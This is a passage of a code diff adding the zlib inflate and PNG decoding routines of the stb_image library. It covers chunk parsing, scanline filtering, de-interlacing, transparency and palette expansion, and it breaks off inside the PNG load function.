+   7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7, 7,7,7,7,7,7,7,7,8,8,8,8,8,8,8,8
+};
+static const stbi_uc stbi__zdefault_distance[32] =
+{
+   5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5
+};
+/*
+Init algorithm:
+{
+   int i;   // use <= to match clearly with spec
+   for (i=0; i <= 143; ++i)     stbi__zdefault_length[i]   = 8;
+   for (   ; i <= 255; ++i)     stbi__zdefault_length[i]   = 9;
+   for (   ; i <= 279; ++i)     stbi__zdefault_length[i]   = 7;
+   for (   ; i <= 287; ++i)     stbi__zdefault_length[i]   = 8;
+
+   for (i=0; i <=  31; ++i)     stbi__zdefault_distance[i] = 5;
+}
+*/
+
+static int stbi__parse_zlib(stbi__zbuf *a, int parse_header)
+{
+   int final, type;
+   if (parse_header)
+      if (!stbi__parse_zlib_header(a)) return 0;
+   a->num_bits = 0;
+   a->code_buffer = 0;
+   a->hit_zeof_once = 0;
+   do {
+      final = stbi__zreceive(a,1);
+      type = stbi__zreceive(a,2);
+      if (type == 0) {
+         if (!stbi__parse_uncompressed_block(a)) return 0;
+      } else if (type == 3) {
+         return 0;
+      } else {
+         if (type == 1) {
+            // use fixed code lengths
+            if (!stbi__zbuild_huffman(&a->z_length  , stbi__zdefault_length  , STBI__ZNSYMS)) return 0;
+            if (!stbi__zbuild_huffman(&a->z_distance, stbi__zdefault_distance,  32)) return 0;
+         } else {
+            if (!stbi__compute_huffman_codes(a)) return 0;
+         }
+         if (!stbi__parse_huffman_block(a)) return 0;
+      }
+   } while (!final);
+   return 1;
+}
+
+static int stbi__do_zlib(stbi__zbuf *a, char *obuf, int olen, int exp, int parse_header)
+{
+   a->zout_start = obuf;
+   a->zout       = obuf;
+   a->zout_end   = obuf + olen;
+   a->z_expandable = exp;
+
+   return stbi__parse_zlib(a, parse_header);
+}
+
+STBIDEF char *stbi_zlib_decode_malloc_guesssize(const char *buffer, int len, int initial_size, int *outlen)
+{
+   stbi__zbuf a;
+   char *p = (char *) stbi__malloc(initial_size);
+   if (p == NULL) return NULL;
+   a.zbuffer = (stbi_uc *) buffer;
+   a.zbuffer_end = (stbi_uc *) buffer + len;
+   if (stbi__do_zlib(&a, p, initial_size, 1, 1)) {
+      if (outlen) *outlen = (int) (a.zout - a.zout_start);
+      return a.zout_start;
+   } else {
+      STBI_FREE(a.zout_start);
+      return NULL;
+   }
+}
+
+STBIDEF char *stbi_zlib_decode_malloc(char const *buffer, int len, int *outlen)
+{
+   return stbi_zlib_decode_malloc_guesssize(buffer, len, 16384, outlen);
+}
+
+STBIDEF char *stbi_zlib_decode_malloc_guesssize_headerflag(const char *buffer, int len, int initial_size, int *outlen, int parse_header)
+{
+   stbi__zbuf a;
+   char *p = (char *) stbi__malloc(initial_size);
+   if (p == NULL) return NULL;
+   a.zbuffer = (stbi_uc *) buffer;
+   a.zbuffer_end = (stbi_uc *) buffer + len;
+   if (stbi__do_zlib(&a, p, initial_size, 1, parse_header)) {
+      if (outlen) *outlen = (int) (a.zout - a.zout_start);
+      return a.zout_start;
+   } else {
+      STBI_FREE(a.zout_start);
+      return NULL;
+   }
+}
+
+STBIDEF int stbi_zlib_decode_buffer(char *obuffer, int olen, char const *ibuffer, int ilen)
+{
+   stbi__zbuf a;
+   a.zbuffer = (stbi_uc *) ibuffer;
+   a.zbuffer_end = (stbi_uc *) ibuffer + ilen;
+   if (stbi__do_zlib(&a, obuffer, olen, 0, 1))
+      return (int) (a.zout - a.zout_start);
+   else
+      return -1;
+}
+
+STBIDEF char *stbi_zlib_decode_noheader_malloc(char const *buffer, int len, int *outlen)
+{
+   stbi__zbuf a;
+   char *p = (char *) stbi__malloc(16384);
+   if (p == NULL) return NULL;
+   a.zbuffer = (stbi_uc *) buffer;
+   a.zbuffer_end = (stbi_uc *) buffer+len;
+   if (stbi__do_zlib(&a, p, 16384, 1, 0)) {
+      if (outlen) *outlen = (int) (a.zout - a.zout_start);
+      return a.zout_start;
+   } else {
+      STBI_FREE(a.zout_start);
+      return NULL;
+   }
+}
+
+STBIDEF int stbi_zlib_decode_noheader_buffer(char *obuffer, int olen, const char *ibuffer, int ilen)
+{
+   stbi__zbuf a;
+   a.zbuffer = (stbi_uc *) ibuffer;
+   a.zbuffer_end = (stbi_uc *) ibuffer + ilen;
+   if (stbi__do_zlib(&a, obuffer, olen, 0, 0))
+      return (int) (a.zout - a.zout_start);
+   else
+      return -1;
+}
+#endif
+
+// public domain "baseline" PNG decoder   v0.10  Sean Barrett 2006-11-18
+//    simple implementation
+//      - only 8-bit samples
+//      - no CRC checking
+//      - allocates lots of intermediate memory
+//        - avoids problem of streaming data between subsystems
+//        - avoids explicit window management
+//    performance
+//      - uses stb_zlib, a PD zlib implementation with fast huffman decoding
+
+#ifndef STBI_NO_PNG
+typedef struct
+{
+   stbi__uint32 length;
+   stbi__uint32 type;
+} stbi__pngchunk;
+
+static stbi__pngchunk stbi__get_chunk_header(stbi__context *s)
+{
+   stbi__pngchunk c;
+   c.length = stbi__get32be(s);
+   c.type   = stbi__get32be(s);
+   return c;
+}
+
+static int stbi__check_png_header(stbi__context *s)
+{
+   static const stbi_uc png_sig[8] = { 137,80,78,71,13,10,26,10 };
+   int i;
+   for (i=0; i < 8; ++i)
+      if (stbi__get8(s) != png_sig[i]) return stbi__err("bad png sig","Not a PNG");
+   return 1;
+}
+
+typedef struct
+{
+   stbi__context *s;
+   stbi_uc *idata, *expanded, *out;
+   int depth;
+} stbi__png;
+
+
+enum {
+   STBI__F_none=0,
+   STBI__F_sub=1,
+   STBI__F_up=2,
+   STBI__F_avg=3,
+   STBI__F_paeth=4,
+   // synthetic filter used for first scanline to avoid needing a dummy row of 0s
+   STBI__F_avg_first
+};
+
+static stbi_uc first_row_filter[5] =
+{
+   STBI__F_none,
+   STBI__F_sub,
+   STBI__F_none,
+   STBI__F_avg_first,
+   STBI__F_sub // Paeth with b=c=0 turns out to be equivalent to sub
+};
+
+static int stbi__paeth(int a, int b, int c)
+{
+   // This formulation looks very different from the reference in the PNG spec, but is
+   // actually equivalent and has favorable data dependencies and admits straightforward
+   // generation of branch-free code, which helps performance significantly.
+   int thresh = c*3 - (a + b);
+   int lo = a < b ? a : b;
+   int hi = a < b ? b : a;
+   int t0 = (hi <= thresh) ? lo : c;
+   int t1 = (thresh <= lo) ? hi : t0;
+   return t1;
+}
+
+static const stbi_uc stbi__depth_scale_table[9] = { 0, 0xff, 0x55, 0, 0x11, 0,0,0, 0x01 };
+
+// adds an extra all-255 alpha channel
+// dest == src is legal
+// img_n must be 1 or 3
+static void stbi__create_png_alpha_expand8(stbi_uc *dest, stbi_uc *src, stbi__uint32 x, int img_n)
+{
+   int i;
+   // must process data backwards since we allow dest==src
+   if (img_n == 1) {
+      for (i=x-1; i >= 0; --i) {
+         dest[i*2+1] = 255;
+         dest[i*2+0] = src[i];
+      }
+   } else {
+      STBI_ASSERT(img_n == 3);
+      for (i=x-1; i >= 0; --i) {
+         dest[i*4+3] = 255;
+         dest[i*4+2] = src[i*3+2];
+         dest[i*4+1] = src[i*3+1];
+         dest[i*4+0] = src[i*3+0];
+      }
+   }
+}
+
+// create the png data from post-deflated data
+static int stbi__create_png_image_raw(stbi__png *a, stbi_uc *raw, stbi__uint32 raw_len, int out_n, stbi__uint32 x, stbi__uint32 y, int depth, int color)
+{
+   int bytes = (depth == 16 ? 2 : 1);
+   stbi__context *s = a->s;
+   stbi__uint32 i,j,stride = x*out_n*bytes;
+   stbi__uint32 img_len, img_width_bytes;
+   stbi_uc *filter_buf;
+   int all_ok = 1;
+   int k;
+   int img_n = s->img_n; // copy it into a local for later
+
+   int output_bytes = out_n*bytes;
+   int filter_bytes = img_n*bytes;
+   int width = x;
+
+   STBI_ASSERT(out_n == s->img_n || out_n == s->img_n+1);
+   a->out = (stbi_uc *) stbi__malloc_mad3(x, y, output_bytes, 0); // extra bytes to write off the end into
+   if (!a->out) return stbi__err("outofmem", "Out of memory");
+
+   // note: error exits here don't need to clean up a->out individually,
+   // stbi__do_png always does on error.
+   if (!stbi__mad3sizes_valid(img_n, x, depth, 7)) return stbi__err("too large", "Corrupt PNG");
+   img_width_bytes = (((img_n * x * depth) + 7) >> 3);
+   if (!stbi__mad2sizes_valid(img_width_bytes, y, img_width_bytes)) return stbi__err("too large", "Corrupt PNG");
+   img_len = (img_width_bytes + 1) * y;
+
+   // we used to check for exact match between raw_len and img_len on non-interlaced PNGs,
+   // but issue #276 reported a PNG in the wild that had extra data at the end (all zeros),
+   // so just check for raw_len < img_len always.
+   if (raw_len < img_len) return stbi__err("not enough pixels","Corrupt PNG");
+
+   // Allocate two scan lines worth of filter workspace buffer.
+   filter_buf = (stbi_uc *) stbi__malloc_mad2(img_width_bytes, 2, 0);
+   if (!filter_buf) return stbi__err("outofmem", "Out of memory");
+
+   // Filtering for low-bit-depth images
+   if (depth < 8) {
+      filter_bytes = 1;
+      width = img_width_bytes;
+   }
+
+   for (j=0; j < y; ++j) {
+      // cur/prior filter buffers alternate
+      stbi_uc *cur = filter_buf + (j & 1)*img_width_bytes;
+      stbi_uc *prior = filter_buf + (~j & 1)*img_width_bytes;
+      stbi_uc *dest = a->out + stride*j;
+      int nk = width * filter_bytes;
+      int filter = *raw++;
+
+      // check filter type
+      if (filter > 4) {
+         all_ok = stbi__err("invalid filter","Corrupt PNG");
+         break;
+      }
+
+      // if first row, use special filter that doesn't sample previous row
+      if (j == 0) filter = first_row_filter[filter];
+
+      // perform actual filtering
+      switch (filter) {
+      case STBI__F_none:
+         memcpy(cur, raw, nk);
+         break;
+      case STBI__F_sub:
+         memcpy(cur, raw, filter_bytes);
+         for (k = filter_bytes; k < nk; ++k)
+            cur[k] = STBI__BYTECAST(raw[k] + cur[k-filter_bytes]);
+         break;
+      case STBI__F_up:
+         for (k = 0; k < nk; ++k)
+            cur[k] = STBI__BYTECAST(raw[k] + prior[k]);
+         break;
+      case STBI__F_avg:
+         for (k = 0; k < filter_bytes; ++k)
+            cur[k] = STBI__BYTECAST(raw[k] + (prior[k]>>1));
+         for (k = filter_bytes; k < nk; ++k)
+            cur[k] = STBI__BYTECAST(raw[k] + ((prior[k] + cur[k-filter_bytes])>>1));
+         break;
+      case STBI__F_paeth:
+         for (k = 0; k < filter_bytes; ++k)
+            cur[k] = STBI__BYTECAST(raw[k] + prior[k]); // prior[k] == stbi__paeth(0,prior[k],0)
+         for (k = filter_bytes; k < nk; ++k)
+            cur[k] = STBI__BYTECAST(raw[k] + stbi__paeth(cur[k-filter_bytes], prior[k], prior[k-filter_bytes]));
+         break;
+      case STBI__F_avg_first:
+         memcpy(cur, raw, filter_bytes);
+         for (k = filter_bytes; k < nk; ++k)
+            cur[k] = STBI__BYTECAST(raw[k] + (cur[k-filter_bytes] >> 1));
+         break;
+      }
+
+      raw += nk;
+
+      // expand decoded bits in cur to dest, also adding an extra alpha channel if desired
+      if (depth < 8) {
+         stbi_uc scale = (color == 0) ? stbi__depth_scale_table[depth] : 1; // scale grayscale values to 0..255 range
+         stbi_uc *in = cur;
+         stbi_uc *out = dest;
+         stbi_uc inb = 0;
+         stbi__uint32 nsmp = x*img_n;
+
+         // expand bits to bytes first
+         if (depth == 4) {
+            for (i=0; i < nsmp; ++i) {
+               if ((i & 1) == 0) inb = *in++;
+               *out++ = scale * (inb >> 4);
+               inb <<= 4;
+            }
+         } else if (depth == 2) {
+            for (i=0; i < nsmp; ++i) {
+               if ((i & 3) == 0) inb = *in++;
+               *out++ = scale * (inb >> 6);
+               inb <<= 2;
+            }
+         } else {
+            STBI_ASSERT(depth == 1);
+            for (i=0; i < nsmp; ++i) {
+               if ((i & 7) == 0) inb = *in++;
+               *out++ = scale * (inb >> 7);
+               inb <<= 1;
+            }
+         }
+
+         // insert alpha=255 values if desired
+         if (img_n != out_n)
+            stbi__create_png_alpha_expand8(dest, dest, x, img_n);
+      } else if (depth == 8) {
+         if (img_n == out_n)
+            memcpy(dest, cur, x*img_n);
+         else
+            stbi__create_png_alpha_expand8(dest, cur, x, img_n);
+      } else if (depth == 16) {
+         // convert the image data from big-endian to platform-native
+         stbi__uint16 *dest16 = (stbi__uint16*)dest;
+         stbi__uint32 nsmp = x*img_n;
+
+         if (img_n == out_n) {
+            for (i = 0; i < nsmp; ++i, ++dest16, cur += 2)
+               *dest16 = (cur[0] << 8) | cur[1];
+         } else {
+            STBI_ASSERT(img_n+1 == out_n);
+            if (img_n == 1) {
+               for (i = 0; i < x; ++i, dest16 += 2, cur += 2) {
+                  dest16[0] = (cur[0] << 8) | cur[1];
+                  dest16[1] = 0xffff;
+               }
+            } else {
+               STBI_ASSERT(img_n == 3);
+               for (i = 0; i < x; ++i, dest16 += 4, cur += 6) {
+                  dest16[0] = (cur[0] << 8) | cur[1];
+                  dest16[1] = (cur[2] << 8) | cur[3];
+                  dest16[2] = (cur[4] << 8) | cur[5];
+                  dest16[3] = 0xffff;
+               }
+            }
+         }
+      }
+   }
+
+   STBI_FREE(filter_buf);
+   if (!all_ok) return 0;
+
+   return 1;
+}
+
+static int stbi__create_png_image(stbi__png *a, stbi_uc *image_data, stbi__uint32 image_data_len, int out_n, int depth, int color, int interlaced)
+{
+   int bytes = (depth == 16 ? 2 : 1);
+   int out_bytes = out_n * bytes;
+   stbi_uc *final;
+   int p;
+   if (!interlaced)
+      return stbi__create_png_image_raw(a, image_data, image_data_len, out_n, a->s->img_x, a->s->img_y, depth, color);
+
+   // de-interlacing
+   final = (stbi_uc *) stbi__malloc_mad3(a->s->img_x, a->s->img_y, out_bytes, 0);
+   if (!final) return stbi__err("outofmem", "Out of memory");
+   for (p=0; p < 7; ++p) {
+      int xorig[] = { 0,4,0,2,0,1,0 };
+      int yorig[] = { 0,0,4,0,2,0,1 };
+      int xspc[]  = { 8,8,4,4,2,2,1 };
+      int yspc[]  = { 8,8,8,4,4,2,2 };
+      int i,j,x,y;
+      // pass1_x[4] = 0, pass1_x[5] = 1, pass1_x[12] = 1
+      x = (a->s->img_x - xorig[p] + xspc[p]-1) / xspc[p];
+      y = (a->s->img_y - yorig[p] + yspc[p]-1) / yspc[p];
+      if (x && y) {
+         stbi__uint32 img_len = ((((a->s->img_n * x * depth) + 7) >> 3) + 1) * y;
+         if (!stbi__create_png_image_raw(a, image_data, image_data_len, out_n, x, y, depth, color)) {
+            STBI_FREE(final);
+            return 0;
+         }
+         for (j=0; j < y; ++j) {
+            for (i=0; i < x; ++i) {
+               int out_y = j*yspc[p]+yorig[p];
+               int out_x = i*xspc[p]+xorig[p];
+               memcpy(final + out_y*a->s->img_x*out_bytes + out_x*out_bytes,
+                      a->out + (j*x+i)*out_bytes, out_bytes);
+            }
+         }
+         STBI_FREE(a->out);
+         image_data += img_len;
+         image_data_len -= img_len;
+      }
+   }
+   a->out = final;
+
+   return 1;
+}
+
+static int stbi__compute_transparency(stbi__png *z, stbi_uc tc[3], int out_n)
+{
+   stbi__context *s = z->s;
+   stbi__uint32 i, pixel_count = s->img_x * s->img_y;
+   stbi_uc *p = z->out;
+
+   // compute color-based transparency, assuming we've
+   // already got 255 as the alpha value in the output
+   STBI_ASSERT(out_n == 2 || out_n == 4);
+
+   if (out_n == 2) {
+      for (i=0; i < pixel_count; ++i) {
+         p[1] = (p[0] == tc[0] ? 0 : 255);
+         p += 2;
+      }
+   } else {
+      for (i=0; i < pixel_count; ++i) {
+         if (p[0] == tc[0] && p[1] == tc[1] && p[2] == tc[2])
+            p[3] = 0;
+         p += 4;
+      }
+   }
+   return 1;
+}
+
+static int stbi__compute_transparency16(stbi__png *z, stbi__uint16 tc[3], int out_n)
+{
+   stbi__context *s = z->s;
+   stbi__uint32 i, pixel_count = s->img_x * s->img_y;
+   stbi__uint16 *p = (stbi__uint16*) z->out;
+
+   // compute color-based transparency, assuming we've
+   // already got 65535 as the alpha value in the output
+   STBI_ASSERT(out_n == 2 || out_n == 4);
+
+   if (out_n == 2) {
+      for (i = 0; i < pixel_count; ++i) {
+         p[1] = (p[0] == tc[0] ? 0 : 65535);
+         p += 2;
+      }
+   } else {
+      for (i = 0; i < pixel_count; ++i) {
+         if (p[0] == tc[0] && p[1] == tc[1] && p[2] == tc[2])
+            p[3] = 0;
+         p += 4;
+      }
+   }
+   return 1;
+}
+
+static int stbi__expand_png_palette(stbi__png *a, stbi_uc *palette, int len, int pal_img_n)
+{
+   stbi__uint32 i, pixel_count = a->s->img_x * a->s->img_y;
+   stbi_uc *p, *temp_out, *orig = a->out;
+
+   p = (stbi_uc *) stbi__malloc_mad2(pixel_count, pal_img_n, 0);
+   if (p == NULL) return stbi__err("outofmem", "Out of memory");
+
+   // between here and free(out) below, exitting would leak
+   temp_out = p;
+
+   if (pal_img_n == 3) {
+      for (i=0; i < pixel_count; ++i) {
+         int n = orig[i]*4;
+         p[0] = palette[n  ];
+         p[1] = palette[n+1];
+         p[2] = palette[n+2];
+         p += 3;
+      }
+   } else {
+      for (i=0; i < pixel_count; ++i) {
+         int n = orig[i]*4;
+         p[0] = palette[n  ];
+         p[1] = palette[n+1];
+         p[2] = palette[n+2];
+         p[3] = palette[n+3];
+         p += 4;
+      }
+   }
+   STBI_FREE(a->out);
+   a->out = temp_out;
+
+   STBI_NOTUSED(len);
+
+   return 1;
+}
+
+static int stbi__unpremultiply_on_load_global = 0;
+static int stbi__de_iphone_flag_global = 0;
+
+STBIDEF void stbi_set_unpremultiply_on_load(int flag_true_if_should_unpremultiply)
+{
+   stbi__unpremultiply_on_load_global = flag_true_if_should_unpremultiply;
+}
+
+STBIDEF void stbi_convert_iphone_png_to_rgb(int flag_true_if_should_convert)
+{
+   stbi__de_iphone_flag_global = flag_true_if_should_convert;
+}
+
+#ifndef STBI_THREAD_LOCAL
+#define stbi__unpremultiply_on_load  stbi__unpremultiply_on_load_global
+#define stbi__de_iphone_flag  stbi__de_iphone_flag_global
+#else
+static STBI_THREAD_LOCAL int stbi__unpremultiply_on_load_local, stbi__unpremultiply_on_load_set;
+static STBI_THREAD_LOCAL int stbi__de_iphone_flag_local, stbi__de_iphone_flag_set;
+
+STBIDEF void stbi_set_unpremultiply_on_load_thread(int flag_true_if_should_unpremultiply)
+{
+   stbi__unpremultiply_on_load_local = flag_true_if_should_unpremultiply;
+   stbi__unpremultiply_on_load_set = 1;
+}
+
+STBIDEF void stbi_convert_iphone_png_to_rgb_thread(int flag_true_if_should_convert)
+{
+   stbi__de_iphone_flag_local = flag_true_if_should_convert;
+   stbi__de_iphone_flag_set = 1;
+}
+
+#define stbi__unpremultiply_on_load  (stbi__unpremultiply_on_load_set           \
+                                       ? stbi__unpremultiply_on_load_local      \
+                                       : stbi__unpremultiply_on_load_global)
+#define stbi__de_iphone_flag  (stbi__de_iphone_flag_set                         \
+                                ? stbi__de_iphone_flag_local                    \
+                                : stbi__de_iphone_flag_global)
+#endif // STBI_THREAD_LOCAL
+
+static void stbi__de_iphone(stbi__png *z)
+{
+   stbi__context *s = z->s;
+   stbi__uint32 i, pixel_count = s->img_x * s->img_y;
+   stbi_uc *p = z->out;
+
+   if (s->img_out_n == 3) {  // convert bgr to rgb
+      for (i=0; i < pixel_count; ++i) {
+         stbi_uc t = p[0];
+         p[0] = p[2];
+         p[2] = t;
+         p += 3;
+      }
+   } else {
+      STBI_ASSERT(s->img_out_n == 4);
+      if (stbi__unpremultiply_on_load) {
+         // convert bgr to rgb and unpremultiply
+         for (i=0; i < pixel_count; ++i) {
+            stbi_uc a = p[3];
+            stbi_uc t = p[0];
+            if (a) {
+               stbi_uc half = a / 2;
+               p[0] = (p[2] * 255 + half) / a;
+               p[1] = (p[1] * 255 + half) / a;
+               p[2] = ( t   * 255 + half) / a;
+            } else {
+               p[0] = p[2];
+               p[2] = t;
+            }
+            p += 4;
+         }
+      } else {
+         // convert bgr to rgb
+         for (i=0; i < pixel_count; ++i) {
+            stbi_uc t = p[0];
+            p[0] = p[2];
+            p[2] = t;
+            p += 4;
+         }
+      }
+   }
+}
+
+#define STBI__PNG_TYPE(a,b,c,d)  (((unsigned) (a) << 24) + ((unsigned) (b) << 16) + ((unsigned) (c) << 8) + (unsigned) (d))
+
+static int stbi__parse_png_file(stbi__png *z, int scan, int req_comp)
+{
+   stbi_uc palette[1024], pal_img_n=0;
+   stbi_uc has_trans=0, tc[3]={0};
+   stbi__uint16 tc16[3];
+   stbi__uint32 ioff=0, idata_limit=0, i, pal_len=0;
+   int first=1,k,interlace=0, color=0, is_iphone=0;
+   stbi__context *s = z->s;
+
+   z->expanded = NULL;
+   z->idata = NULL;
+   z->out = NULL;
+
+   if (!stbi__check_png_header(s)) return 0;
+
+   if (scan == STBI__SCAN_type) return 1;
+
+   for (;;) {
+      stbi__pngchunk c = stbi__get_chunk_header(s);
+      switch (c.type) {
+         case STBI__PNG_TYPE('C','g','B','I'):
+            is_iphone = 1;
+            stbi__skip(s, c.length);
+            break;
+         case STBI__PNG_TYPE('I','H','D','R'): {
+            int comp,filter;
+            if (!first) return stbi__err("multiple IHDR","Corrupt PNG");
+            first = 0;
+            if (c.length != 13) return stbi__err("bad IHDR len","Corrupt PNG");
+            s->img_x = stbi__get32be(s);
+            s->img_y = stbi__get32be(s);
+            if (s->img_y > STBI_MAX_DIMENSIONS) return stbi__err("too large","Very large image (corrupt?)");
+            if (s->img_x > STBI_MAX_DIMENSIONS) return stbi__err("too large","Very large image (corrupt?)");
+            z->depth = stbi__get8(s);  if (z->depth != 1 && z->depth != 2 && z->depth != 4 && z->depth != 8 && z->depth != 16)  return stbi__err("1/2/4/8/16-bit only","PNG not supported: 1/2/4/8/16-bit only");
+            color = stbi__get8(s);  if (color > 6)         return stbi__err("bad ctype","Corrupt PNG");
+            if (color == 3 && z->depth == 16)                  return stbi__err("bad ctype","Corrupt PNG");
+            if (color == 3) pal_img_n = 3; else if (color & 1) return stbi__err("bad ctype","Corrupt PNG");
+            comp  = stbi__get8(s);  if (comp) return stbi__err("bad comp method","Corrupt PNG");
+            filter= stbi__get8(s);  if (filter) return stbi__err("bad filter method","Corrupt PNG");
+            interlace = stbi__get8(s); if (interlace>1) return stbi__err("bad interlace method","Corrupt PNG");
+            if (!s->img_x || !s->img_y) return stbi__err("0-pixel image","Corrupt PNG");
+            if (!pal_img_n) {
+               s->img_n = (color & 2 ? 3 : 1) + (color & 4 ? 1 : 0);
+               if ((1 << 30) / s->img_x / s->img_n < s->img_y) return stbi__err("too large", "Image too large to decode");
+            } else {
+               // if paletted, then pal_n is our final components, and
+               // img_n is # components to decompress/filter.
+               s->img_n = 1;
+               if ((1 << 30) / s->img_x / 4 < s->img_y) return stbi__err("too large","Corrupt PNG");
+            }
+            // even with SCAN_header, have to scan to see if we have a tRNS
+            break;
+         }
+
+         case STBI__PNG_TYPE('P','L','T','E'):  {
+            if (first) return stbi__err("first not IHDR", "Corrupt PNG");
+            if (c.length > 256*3) return stbi__err("invalid PLTE","Corrupt PNG");
+            pal_len = c.length / 3;
+            if (pal_len * 3 != c.length) return stbi__err("invalid PLTE","Corrupt PNG");
+            for (i=0; i < pal_len; ++i) {
+               palette[i*4+0] = stbi__get8(s);
+               palette[i*4+1] = stbi__get8(s);
+               palette[i*4+2] = stbi__get8(s);
+               palette[i*4+3] = 255;
+            }
+            break;
+         }
+
+         case STBI__PNG_TYPE('t','R','N','S'): {
+            if (first) return stbi__err("first not IHDR", "Corrupt PNG");
+            if (z->idata) return stbi__err("tRNS after IDAT","Corrupt PNG");
+            if (pal_img_n) {
+               if (scan == STBI__SCAN_header) { s->img_n = 4; return 1; }
+               if (pal_len == 0) return stbi__err("tRNS before PLTE","Corrupt PNG");
+               if (c.length > pal_len) return stbi__err("bad tRNS len","Corrupt PNG");
+               pal_img_n = 4;
+               for (i=0; i < c.length; ++i)
+                  palette[i*4+3] = stbi__get8(s);
+            } else {
+               if (!(s->img_n & 1)) return stbi__err("tRNS with alpha","Corrupt PNG");
+               if (c.length != (stbi__uint32) s->img_n*2) return stbi__err("bad tRNS len","Corrupt PNG");
+               has_trans = 1;
+               // non-paletted with tRNS = constant alpha. if header-scanning, we can stop now.
+               if (scan == STBI__SCAN_header) { ++s->img_n; return 1; }
+               if (z->depth == 16) {
+                  for (k = 0; k < s->img_n && k < 3; ++k) // extra loop test to suppress false GCC warning
+                     tc16[k] = (stbi__uint16)stbi__get16be(s); // copy the values as-is
+               } else {
+                  for (k = 0; k < s->img_n && k < 3; ++k)
+                     tc[k] = (stbi_uc)(stbi__get16be(s) & 255) * stbi__depth_scale_table[z->depth]; // non 8-bit images will be larger
+               }
+            }
+            break;
+         }
+
+         case STBI__PNG_TYPE('I','D','A','T'): {
+            if (first) return stbi__err("first not IHDR", "Corrupt PNG");
+            if (pal_img_n && !pal_len) return stbi__err("no PLTE","Corrupt PNG");
+            if (scan == STBI__SCAN_header) {
+               // header scan definitely stops at first IDAT
+               if (pal_img_n)
+                  s->img_n = pal_img_n;
+               return 1;
+            }
+            if (c.length > (1u << 30)) return stbi__err("IDAT size limit", "IDAT section larger than 2^30 bytes");
+            if ((int)(ioff + c.length) < (int)ioff) return 0;
+            if (ioff + c.length > idata_limit) {
+               stbi__uint32 idata_limit_old = idata_limit;
+               stbi_uc *p;
+               if (idata_limit == 0) idata_limit = c.length > 4096 ? c.length : 4096;
+               while (ioff + c.length > idata_limit)
+                  idata_limit *= 2;
+               STBI_NOTUSED(idata_limit_old);
+               p = (stbi_uc *) STBI_REALLOC_SIZED(z->idata, idata_limit_old, idata_limit); if (p == NULL) return stbi__err("outofmem", "Out of memory");
+               z->idata = p;
+            }
+            if (!stbi__getn(s, z->idata+ioff,c.length)) return stbi__err("outofdata","Corrupt PNG");
+            ioff += c.length;
+            break;
+         }
+
+         case STBI__PNG_TYPE('I','E','N','D'): {
+            stbi__uint32 raw_len, bpl;
+            if (first) return stbi__err("first not IHDR", "Corrupt PNG");
+            if (scan != STBI__SCAN_load) return 1;
+            if (z->idata == NULL) return stbi__err("no IDAT","Corrupt PNG");
+            // initial guess for decoded data size to avoid unnecessary reallocs
+            bpl = (s->img_x * z->depth + 7) / 8; // bytes per line, per component
+            raw_len = bpl * s->img_y * s->img_n /* pixels */ + s->img_y /* filter mode per row */;
+            z->expanded = (stbi_uc *) stbi_zlib_decode_malloc_guesssize_headerflag((char *) z->idata, ioff, raw_len, (int *) &raw_len, !is_iphone);
+            if (z->expanded == NULL) return 0; // zlib should set error
+            STBI_FREE(z->idata); z->idata = NULL;
+            if ((req_comp == s->img_n+1 && req_comp != 3 && !pal_img_n) || has_trans)
+               s->img_out_n = s->img_n+1;
+            else
+               s->img_out_n = s->img_n;
+            if (!stbi__create_png_image(z, z->expanded, raw_len, s->img_out_n, z->depth, color, interlace)) return 0;
+            if (has_trans) {
+               if (z->depth == 16) {
+                  if (!stbi__compute_transparency16(z, tc16, s->img_out_n)) return 0;
+               } else {
+                  if (!stbi__compute_transparency(z, tc, s->img_out_n)) return 0;
+               }
+            }
+            if (is_iphone && stbi__de_iphone_flag && s->img_out_n > 2)
+               stbi__de_iphone(z);
+            if (pal_img_n) {
+               // pal_img_n == 3 or 4
+               s->img_n = pal_img_n; // record the actual colors we had
+               s->img_out_n = pal_img_n;
+               if (req_comp >= 3) s->img_out_n = req_comp;
+               if (!stbi__expand_png_palette(z, palette, pal_len, s->img_out_n))
+                  return 0;
+            } else if (has_trans) {
+               // non-paletted image with tRNS -> source image has (constant) alpha
+               ++s->img_n;
+            }
+            STBI_FREE(z->expanded); z->expanded = NULL;
+            // end of PNG chunk, read and skip CRC
+            stbi__get32be(s);
+            return 1;
+         }
+
+         default:
+            // if critical, fail
+            if (first) return stbi__err("first not IHDR", "Corrupt PNG");
+            if ((c.type & (1 << 29)) == 0) {
+               #ifndef STBI_NO_FAILURE_STRINGS
+               // not threadsafe
+               static char invalid_chunk[] = "XXXX PNG chunk not known";
+               invalid_chunk[0] = STBI__BYTECAST(c.type >> 24);
+               invalid_chunk[1] = STBI__BYTECAST(c.type >> 16);
+               invalid_chunk[2] = STBI__BYTECAST(c.type >>  8);
+               invalid_chunk[3] = STBI__BYTECAST(c.type >>  0);
+               #endif
+               return stbi__err(invalid_chunk, "PNG not supported: unknown PNG chunk type");
+            }
+            stbi__skip(s, c.length);
+            break;
+      }
+      // end of PNG chunk, read and skip CRC
+      stbi__get32be(s);
+   }
+}
+
+static void *stbi__do_png(stbi__png *p, int *x, int *y, int *n, int req_comp, stbi__result_info *ri)
+{
+   void *result=NULL;
+   if (req_comp < 0 || req_comp > 4) return stbi__errpuc("bad req_comp", "Internal error");
+   if (stbi__parse_png_file(p, STBI__SCAN_load, req_comp)) {
+      if (p->depth <= 8)
+         ri->bits_per_channel = 8;
+      else if (p->depth == 16)
+         ri->bits_per_channel = 16;
+      else
+         return stbi__errpuc("bad bits_per_channel", "PNG not supported: unsupported color depth");
+      result = p->out;
+      p->out = NULL;
+      if (req_comp && req_comp != p->s->img_out_n) {
+         if (ri->bits_per_channel == 8)
+            result = stbi__convert_format((unsigned char *) result, p->s->img_out_n, req_comp, p->s->img_x, p->s->img_y);
+         else
+            result = stbi__convert_format16((stbi__uint16 *) result, p->s->img_out_n, req_comp, p->s->img_x, p->s->img_y);
+         p->s->img_out_n = req_comp;
+         if (result == NULL) return result;
+      }
+      *x = p->s->img_x;
+      *y = p->s->img_y;
+      if (n) *n = p->s->img_n;
+   }
+   STBI_FREE(p->out);      p->out      = NULL;
+   STBI_FREE(p->expanded); p->expanded = NULL;
+   STBI_FREE(p->idata);    p->idata    = NULL;
+
+   return result;
+}
+
+static void *stbi__png_load(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri)
+{
+   stbi__png p;
+   p.s = s;
